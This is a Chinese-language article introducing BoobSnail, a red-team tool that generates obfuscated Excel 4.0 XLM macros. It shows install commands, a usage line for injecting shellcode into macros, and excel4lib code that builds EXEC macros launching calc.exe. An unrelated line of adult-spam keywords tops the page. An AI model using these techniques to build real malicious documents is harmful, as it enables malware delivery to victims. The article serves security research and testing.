自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

如何使用BoobSnail生成任意Excel 4.0 XLM宏文件

安全 數(shù)據安全
BoobSnail可以幫助廣大研究人員生成XLM(Excel 4.0)宏文件,該工具可以在XLM宏生成任務中給紅隊和藍隊研究人員提供幫助。

[[433420]]

關于BoobSnail

BoobSnail可以幫助廣大研究人員生成XLM(Excel 4.0)宏文件,該工具可以在XLM宏生成任務中給紅隊和藍隊研究人員提供幫助。該工具支持的功能如下:

  • 各種感染技術;
  • 各種代碼混淆技術;
  • 將公式翻譯成英語以外的語言;
  • 可當作代碼庫使用,以便研究人員編寫自己的生成器;

工具下載

廣大研究人員可以使用下列命令將該項目源碼克隆至本地:

  1. git clone https://github.com/STMCyber/boobsnail.git 

工具依賴

BoobSnail基于Python 3開發(fā),因此我們需要在本地設備上安裝并配置好Python

3.8.7rc1環(huán)境。接下來,運行下列命令安裝該工具所需依賴組件:

  1. pip install -r requirements.txt 
  2.  
  3. python boobsnail.py 
  4.  
  5. ___.                ___.     _________             .__.__ 
  6.  
  7. \_ |__   ____   ____\_ |__  /   _____/ ____ _____  |__|  | 
  8.  
  9.  | __ \ /  _ \ /  _ \| __ \ \_____  \ /    \__  \ |  |  | 
  10.  
  11.  | \_\ (  <_> |  <_> ) \_\ \/        \   |  \/ __ \|  |  |__ 
  12.  
  13.  |___  /\____/ \____/|___  /_______  /___|  (____  /__|____/ 
  14.  
  15.      \/                  \/        \/     \/     \/ 
  16.  
  17.      Author: @_mzer0 @stm_cyber 
  18.  
  19.      (...) 

工具使用

  1. python boobsnail.py <generator> -h 

顯示可用的生成器類型:

  1. python boobsnail.py 

工具使用樣例

生成注入了x64或x86 Shellcode的經過代碼混淆處理的宏:

  1. python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv 

生成能夠運行calc.exe的經過代碼混淆處理的宏:

  1. python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv 

代碼庫使用

BoobSnail使用了excel4lib庫來支持創(chuàng)建我們自己的Excel4宏生成器。excel4lib庫包含了幾個類,可以在創(chuàng)建生成器的過程中使用:

  • macro.Excel4Macro:允許定義Excel4公式和變量值;
  • macro.obfuscator.Excel4Obfuscator:允許對Excel4宏中的指令代碼進行混淆處理;
  • lang.Excel4Translator:允許將公式轉譯為其他語言;

下面給出的例子中將創(chuàng)建一個能夠運行calc.exe的簡單宏:

  1. from excel4lib.macro import * 
  2.  
  3. # Create macro object 
  4.  
  5. macro = Excel4Macro("test.csv") 
  6.  
  7. # Add variable called cmd with value "calc.exe" to the worksheet 
  8.  
  9. cmd = macro.variable("cmd", "calc.exe") 
  10.  
  11. # Add EXEC formula with argument cmd 
  12.  
  13. macro.formula("EXEC", cmd) 
  14.  
  15. # Dump to CSV 
  16.  
  17. print(macro.to_csv()) 

結果如下:

  1. cmd="calc.exe"
  2.  
  3. =EXEC(cmd); 

如果你想對宏進行混淆處理,則需要導入混淆工具并傳遞給Excel4Macro對象:

  1. from excel4lib.macro import * 
  2.  
  3. from excel4lib.macro.obfuscator import * 
  4.  
  5. # Create macro object 
  6.  
  7. macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator()) 
  8.  
  9. # Add variable called cmd with value "calc.exe" to the worksheet 
  10.  
  11. cmd = macro.variable("cmd", "calc.exe") 
  12.  
  13. # Add EXEC formula with argument cmd 
  14.  
  15. macro.formula("EXEC", cmd) 
  16.  
  17. # Dump to CSV 
  18.  
  19. print(macro.to_csv()) 

如需將你的宏轉譯為其他語言,假設為波蘭語(當前該工具僅支持英語和波蘭語),我們則需要導入Excel4Translator類,并調用set_language方法:

  1. from excel4lib.macro import * 
  2.  
  3. from excel4lib.lang.excel4_translator import * 
  4.  
  5. # Change language 
  6.  
  7. Excel4Translator.set_language("pl_PL") 
  8.  
  9. # Create macro object 
  10.  
  11. macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator()) 
  12.  
  13. # Add variable called cmd with value "calc.exe" to the worksheet 
  14.  
  15. cmd = macro.variable("cmd", "calc.exe") 
  16.  
  17. # Add EXEC formula with argument cmd 
  18.  
  19. macro.formula("EXEC", cmd) 
  20.  
  21. # Dump to CSV 
  22.  
  23. print(macro.to_csv()) 

結果如下:

  1. cmd="calc.exe"
  2.  
  3. =URUCHOM.PROGRAM(cmd); 

如果你需要創(chuàng)建一個能將其他公式作為接收參數(shù)的公式,則需要使用Excel4Macro.argument函數(shù):

  1. from excel4lib.macro import * 
  2.  
  3. macro = Excel4Macro("test.csv") 
  4. # Add variable called cmd with value "calc" to the worksheet 
  5.  
  6. cmd_1 = macro.variable("cmd", "calc") 
  7.  
  8. # Add cell containing .exe as value 
  9.  
  10. cmd_2 = macro.value(".exe") 
  11.  
  12. # Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2 
  13.  
  14. exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2) 
  15.  
  16. macro.formula("EXEC", exec_arg) 
  17.  
  18. # Dump to CSV 
  19.  
  20. print(macro.to_csv()) 

結果如下:

  1. cmd="calc"
  2.  
  3. .exe; 
  4.  
  5. =EXEC(CONCATENATE(cmd,R2C1)); 

項目地址

BoobSnail:【GitHub傳送門

 

責任編輯:趙寧寧 來源: FreeBuf
相關推薦

2021-08-02 15:02:37

Go Excelize 開發(fā)

2016-12-07 09:30:00

Power QueryExcel文件

2020-11-05 11:16:06

Apache CassCassandra虛擬表

2009-06-11 09:39:33

netbeans 生成Webservice

2021-10-26 09:02:26

Excel技巧openpyxl

2022-01-22 20:45:26

ExcelOffice微軟

2009-07-24 10:00:38

.NET 4.0內存映

2021-04-29 15:03:33

黑客惡意軟件網絡攻擊

2023-02-26 10:16:19

JavaPDF文檔

2013-10-31 13:19:06

2023-01-12 09:06:58

2024-07-15 15:05:20

Python數(shù)據驅動

2023-06-07 07:16:04

Markdown網頁

2009-08-24 08:44:29

Windows 7版本切換

2015-06-05 09:47:29

2009-11-24 09:23:14

生成PHP類文件

2021-11-07 14:00:16

JekyllBashAPI后端

2019-09-18 10:07:24

ExcelSQL數(shù)據庫

2021-12-01 07:19:44

C# Npoi Excel

2009-11-03 14:22:10

ADO.NET Exc
點贊
收藏

51CTO技術棧公眾號